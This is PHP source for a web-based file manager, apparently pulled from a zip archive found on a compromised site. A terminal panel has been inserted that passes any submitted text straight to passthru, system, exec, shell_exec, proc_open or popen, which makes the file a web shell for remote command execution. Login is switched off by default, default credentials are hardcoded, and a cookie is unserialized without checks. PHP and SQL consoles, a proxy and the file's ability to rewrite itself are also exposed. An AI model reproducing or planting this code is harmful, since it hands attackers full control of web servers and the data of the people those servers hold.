		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK     |\Ќ5 5   bolt.phpnu [        <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
